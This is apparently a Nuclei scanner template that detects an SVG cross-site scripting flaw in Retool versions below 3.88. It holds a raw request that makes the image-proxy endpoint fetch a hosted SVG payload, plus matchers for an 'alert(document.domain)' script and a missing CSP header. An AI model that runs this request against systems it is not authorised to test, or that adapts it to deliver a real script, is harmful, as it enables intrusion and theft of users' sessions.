retool-svg-xss: Retool < 3.88 - SVG Cross-Site Scripting

id: retool-svg-xss

info:
  name: Retool < 3.88 - SVG Cross-Site Scripting
  author: iamnoooob,iamnoooob,pdresearch
  severity: high
  description: |
    This template checks for SVG Cross-Site Scripting(XSS) vulnerability via the Image Proxy URL parameter in Retool.
  reference:
    - https://docs.retool.com/releases/edge/3.88#:~:text=Fixed%20an%20SVG%20XSS%20vulnerability%20by%20adding%20a%20CSP.%20(%2349381)
  metadata:
    verified: true
    max-request: 1
    fofa-query: body="x-retool"
  tags: retool,xss

http:
  - raw:
      - |
        GET /api/imageProxy?url=https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/refs/heads/main/helpers/payloads/retool-xss.svg HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "alert(document.domain);"
          - "<?xml version"
          - '<script type="text/javascript">'
        condition: and

      - type: word
        part: header
        words:
          - "Content-Security-Policy: default-src 'none';"
        negative: true

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100eb45bca2eb093ab270b353270776dc96bd4bb004b81b71957503048fe2acb5540220628b1c65e19043fbebafbcc9b6f9c6ce6bb9b7202c06a25604de4acfae34c0b9:922c64590222798bb761d5b6d8e72950